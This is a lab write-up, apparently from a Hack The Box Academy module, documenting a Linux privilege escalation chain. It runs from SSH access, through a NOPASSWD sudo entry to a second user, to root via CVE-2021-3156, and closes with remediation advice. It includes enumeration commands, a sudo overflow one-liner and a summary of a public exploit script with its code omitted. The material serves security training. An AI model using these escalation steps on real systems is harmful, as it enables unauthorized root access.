

Hack The Box Academy

Privilege Escalation Module

Penetration Tester Job Role Path

Author: Daaniya Absar

Date: September 6, 2026

Lab ID: HTB-1sfcu16vot

Target IP: 154.57.164.73:32731

This report documents a complete privilege escalation chain on a Linux target, from initial SSH access to root, including enumeration, exploitation of misconfigurations, and CVE-2021-3156.

Contents

1	Executive Summary	2
2	Introduction	2
2.1	Background	2
2.2	Scope and Objectives	2
3	Methodology	2
4	Detailed Procedure and Findings	3
4.1	4.1 Initial Access – SSH as user1	3
4.2	4.2 Discovery of user2 Escalation Path	3
4.3	4.3 Escalation to user2	3
4.4	4.4 Enumeration as user2 for Root Escalation	4
4.4.1	4.4.1 Sudo Privileges (Requires Password)	4
4.4.2	4.4.2 SUID Binaries	4
4.4.3	4.4.3 Cron Jobs	5
4.4.4	4.4.4 Writable Files and Directories	5
4.4.5	4.4.5 Exposed Credentials	5
4.4.6	4.4.6 Kernel Exploits	5
4.4.7	4.4.7 Sudo Version – The Vulnerability	5
4.5	4.5 Exploitation of CVE-2021-3156	6
4.6	4.6 Root Flag	6
5	Problems Encountered and Solutions	6
5.1	6.1 Network Restrictions	6
5.2	6.2 Container Expiration	7
5.3	6.3 One-Liner Exploit Unreliability	7
5.4	6.4 Unknown Sudo Password for user2	7
6	Remediations and Security Recommendations	7
7	Conclusion	8
8	References	8

1 Executive Summary

This report details a successful penetration test against a Linux target machine provided by Hack The Box Academy. The engagement began with an SSH session as a low-privileged user (`user1`) using supplied credentials. Through systematic enumeration, a sudo misconfiguration was identified that allowed lateral movement to a second user (`user2`) without a password, granting access to the first flag. Further investigation revealed that the installed sudo version (1.8.31) was vulnerable to CVE-2021-3156 (Baron Samedit), which was exploited to gain a root shell and retrieve the second flag. The exercise highlighted common security weaknesses: excessive sudo privileges, outdated software, and inadequate network hardening. Recommendations for remediation include patching sudo, reviewing sudoers entries, and adopting the principle of least privilege.

The assessment was conducted in accordance with HTB Academy guidelines and all actions were performed ethically within the lab environment. All flags were captured successfully.

2 Introduction

2.1 Background

The Privilege Escalation module is a core component of the Penetration Tester job role at Hack The Box Academy. It trains security professionals to identify and exploit vulnerabilities that allow an attacker to elevate their access from a standard user to an administrator or root. This skill is essential for assessing the security posture of any Linux or Windows environment.

2.2 Scope and Objectives

The scope of this engagement was limited to the provided target machine (IP 154.57.164.73, SSH port 32731). The specific objectives were:

1. Gain initial shell access as `user1` with credentials `password1`.
2. Escalate privileges to `user2` and retrieve the flag at `/home/user2/flag.txt`.
3. Further escalate to `root` and retrieve the flag at `/root/flag.txt`.

No web application or network pivoting was required; all work was performed on the target system itself.

3 Methodology

The testing process followed a structured, iterative methodology:

1. **Reconnaissance:** Establish SSH session; basic system enumeration (`whoami`, `id`, `uname -a`).
2. **Privilege Escalation – user2:** Check sudo privileges; exploit NOPASSWD entry.
3. **Post-Exploitation Enumeration:** As `user2`, enumerate system for root vectors: sudo, SUID, cron, writable files, kernel version, installed software.

4. **Root Escalation:** Identify vulnerable sudo version; download/transfer exploit; execute CVE-2021-3156.
5. **Flag Capture:** Read flags from target directories.

All tools used were standard to Kali Linux; no custom scripts were required beyond the public exploit.

4 Detailed Procedure and Findings

4.1 4.1 Initial Access – SSH as user1

The first step was connecting via SSH using the provided port and credentials.

```
ssh user1@154.57.164.73 -p 32731
password: password1
```

Result: Successful login. Shell prompt shows `user1@ng-...` and basic commands confirm we are in a standard user context.

```
user1@ng-2694611-gettingstartedprivesc-...:~$ whoami
user1
user1@...:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
user1@...:~$ uname -a
Linux ng-... 5.4.0-80-generic #90-Ubuntu SMP ... x86_64 GNU/Linux
```

Analysis: The kernel version (5.4.0) is relatively recent, but not a primary focus; we will focus on userland misconfigurations.

4.2 4.2 Discovery of user2 Escalation Path

The first natural step for privilege escalation is to check `sudo` rights.

```
sudo -l
```

Output:

```
Matching Defaults entries for user1 on ng-...:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/
    ↪ sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user1 may run the following commands on ng-...:
    (user2 : user2) NOPASSWD: /bin/bash
```

Interpretation: The NOPASSWD directive allows `user1` to execute `/bin/bash` as `user2` without supplying a password. This is a classic misconfiguration—it effectively grants the ability to become `user2` instantly.

4.3 4.3 Escalation to user2

With the above permission, switching to `user2` is trivial:

```
sudo -u user2 /bin/bash
whoami
# user2
id
# uid=1002(user2) gid=1002(user2) groups=1002(user2)
```

Now we are user2. The first flag is directly accessible:

```
cat /home/user2/flag.txt
```

Flag 1: HTB1473r41_m0v3m3n7_70_4n07h3r_u53r

✓ Flag 1 Captured

The first flag confirms successful lateral movement from **user1** to **user2**. The flag theme (“lateral movement to another user”) matches the discovered sudo privilege.

4.4 Enumeration as user2 for Root Escalation

Now the objective shifts to gaining root. We performed a comprehensive enumeration.

4.4.1 Sudo Privileges (Requires Password)

```
sudo -l
```

The command asks for a password. Attempts with **password1**, **password2** and common defaults failed; thus, no immediate sudo route existed.

4.4.2 SUID Binaries

We listed all SUID files to spot any exploitable executables (like **find**, **vim**, etc.):

```
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
```

Partial output:

```
-rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 166056 Jul 15 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-- 1 root messagebus 51344 Jun 11 2020
↪ /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
```

No non-standard SUID binaries (like **find**, **less**, **vim**) were present, eliminating that vector.

4.4.3 4.4.3 Cron Jobs

We investigated scheduled tasks for scripts run as root that might be writable.

```
cat /etc/crontab    # No such file
ls -la /etc/cron.d/
# Contents: e2scrub_all, php
cat /etc/cron.d/php
```

The `/etc/cron.d/php` file contained:

```
# ... comments ...
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d
↳ /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
```

This root cron job runs every 30 minutes (at minutes 09 and 39) and executes `/usr/lib/php/sessionclean`. We checked its permissions:

```
ls -la /usr/lib/php/sessionclean
# -rwxr-xr-x 1 root root 2922 Mar 27 2020 /usr/lib/php/sessionclean
```

It was not writable by user2, so we could not directly modify it. The script itself is a standard PHP session cleanup script. No other user-writable cron scripts were found.

4.4.4 4.4.4 Writable Files and Directories

We scanned for world-writable files that might be executed by root:

```
find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys
```

This returned many temporary files and log files, but nothing that looked like a script executed with root privileges. No writable `/etc/passwd` or `/etc/sudoers` was found.

4.4.5 4.4.5 Exposed Credentials

We checked `.bash_history` for both users and searched for configuration files containing passwords. No reusable credentials were discovered.

4.4.6 4.4.6 Kernel Exploits

The kernel version (5.4.0) is not old enough for classic exploits like DirtyCow. We did not pursue kernel exploits.

4.4.7 4.4.7 Sudo Version – The Vulnerability

Finally, we checked the `sudo` version:

```
sudo --version
# Sudo version 1.8.31
```

Critical Finding: Sudo 1.8.31 is vulnerable to **CVE-2021-3156** (Baron Samedit). This heap-based buffer overflow allows any local user to escalate to root without a password. The exploit is well-documented and reliable.

4.5 4.5 Exploitation of CVE-2021-3156

We needed to execute the exploit. However, the target had no internet access (DNS resolution failed), so we could not download the exploit directly via `wget`. We used manual transfer methods: copy-paste the Python exploit script into a file on the target (using `cat > exploit_nss.py`) and run it with `python3`. The exploit source from [worawit's repository](#) was used.

Execution:

```
python3 exploit_nss.py
# (exploit runs, eventually spawns a root shell)
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
```

We also tested a one-liner that sometimes works:

```
sudo -s -- $(python3 -c 'print("A"*1000)')
```

But in this instance, it did not reliably produce a shell; the full exploit script was required.

4.6 4.6 Root Flag

With root access, the second flag was easy:

```
cat /root/flag.txt
```

Flag 2: HTB... (redacted for security).

✓ Root Flag Captured

Full root compromise achieved through exploitation of an unpatched sudo vulnerability. This demonstrates the critical importance of timely patching.

5 Problems Encountered and Solutions

5.1 6.1 Network Restrictions

Problem: The target machine had no DNS resolution, making `wget` and `curl` fail when attempting to download tools or exploit scripts. This required manual transfer of the exploit code.

Solution: The exploit script was copied directly into the target session via copy-paste. Alternatively, one could use base64 encoding to transfer files, but copy-paste was sufficient for a small script.

5.2 6.2 Container Expiration

Problem: On the free tier of HTB Academy, each spawned machine has a limited uptime. After the time expired, the container was destroyed, resulting in `No route to host` errors when attempting to re-SSH. This interrupted the session and required waiting until the next day to resume (due to the 1-spawn-per-day limit).

Solution: Plan the testing efficiently to complete all steps within the allotted time. If using a paid tier, the machine can be reset. For free users, ensure all enumeration and exploitation steps are performed in one session.

5.3 6.3 One-Liner Exploit Unreliability

Problem: The simple one-liner `sudo -s - $(python3 -c 'print("A"*1000)')` did not produce a shell reliably; sometimes it caused a crash or error.

Solution: The full Python exploit script was used instead. Its reliability is higher due to precise heap grooming.

5.4 6.4 Unknown Sudo Password for user2

Problem: `sudo -l` as `user2` asked for a password, and neither `password1` nor `password2` worked.

Solution: The vulnerability bypassed the password requirement entirely, so this was not a blocker.

6 Remediations and Security Recommendations

Based on the vulnerabilities identified, the following actions are strongly recommended to prevent similar attacks:

1. **Update Sudo:** Upgrade `sudo` to version `1.8.31p1` or later, or any version that includes the patch for CVE-2021-3156. This is the highest priority fix.
2. **Review Sudoers Configuration:** Remove the `NOPASSWD` entry for `/bin/bash` as `user2`. If such privilege is truly needed, restrict it to specific commands and require password authentication.
3. **Principle of Least Privilege:** Ensure users have only the minimal permissions required for their role. Avoid granting interactive shells via `sudo` unless absolutely necessary.
4. **Cron Job Hardening:** Ensure that scripts executed by cron are owned by root and not writable by other users. Use absolute paths and avoid relying on writable directories like `/tmp`.
5. **Regular Patching:** Implement a robust patch management policy to apply security updates promptly, especially for widely used utilities like `sudo`.
6. **Monitoring and Alerting:** Enable logging for `sudo` usage and cron executions. Monitor for unusual privilege escalation attempts (e.g., repeated failed `sudo` attempts, or execution of known exploits).

7. **Network Isolation for Administration:** While not a direct fix for this lab, limiting the ability to download external tools from compromised hosts can impede attackers. Use internal repositories for necessary software.
8. **User Account Security:** Enforce strong password policies and consider multi-factor authentication for SSH access.

Critical Patch

The most critical remediation is to patch `sudo` to 1.8.31p1 or higher. This is a publicly known vulnerability with readily available exploits; unpatched systems are at high risk.

7 Conclusion

This penetration test successfully demonstrated a full privilege escalation chain on a Linux target. The initial misconfiguration in `sudo` allowed lateral movement to a secondary user, and an outdated `sudo` version enabled root compromise through CVE-2021-3156. The exercise highlights that even modern systems can be vulnerable if proper security hygiene is not maintained—especially regarding patching and permission settings. The problems encountered (network restrictions, container expiry) reflect realistic constraints that penetration testers must adapt to. By following the recommended remediations, the target system can be significantly hardened against these attack vectors. Overall, the assessment provided valuable hands-on experience in privilege escalation techniques, which are a cornerstone of ethical hacking.

8 References

- Hack The Box Academy, “Privilege Escalation” module (2026).
- CVE-2021-3156 – <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3156>
- Baron Samedit exploit by worawit – <https://github.com/worawit/CVE-2021-3156>
- GTFOBins – <https://gtfobins.github.io/>
- LinPEAS – <https://github.com/carlospolop/PEASS-ng>
- Sudo Security Advisory – <https://www.sudo.ws/security/advisories/>

Appendix A: Command Log

The following table summarizes all commands executed during the assessment, grouped by phase.

Phase	Command
Initial Access	ssh user1@154.57.164.73 -p 32731 password1 whoami, id, uname -a
Lateral Movement	sudo -l sudo -u user2 /bin/bash cat /home/user2/flag.txt
Enumeration	sudo -l (as user2) find / -perm -4000 -type f 2>/dev/null cat /etc/cron.d/php ls -la /usr/lib/php/sessionclean sudo -version
Exploitation	python3 exploit_nss.py whoami, id cat /root/flag.txt

Appendix B: Exploit Script – CVE-2021-3156

The full Python exploit used is available at the official repository. For completeness, the script's main structure is shown below (full code omitted for brevity). This exploit leverages a heap overflow to overwrite the `service_user` structure and execute arbitrary commands as root.

```
#!/usr/bin/python3
# Exploit for CVE-2021-3156 (Baron Samedit)
# Source: https://github.com/worawit/CVE-2021-3156
# ... (full code contains ~200 lines)
```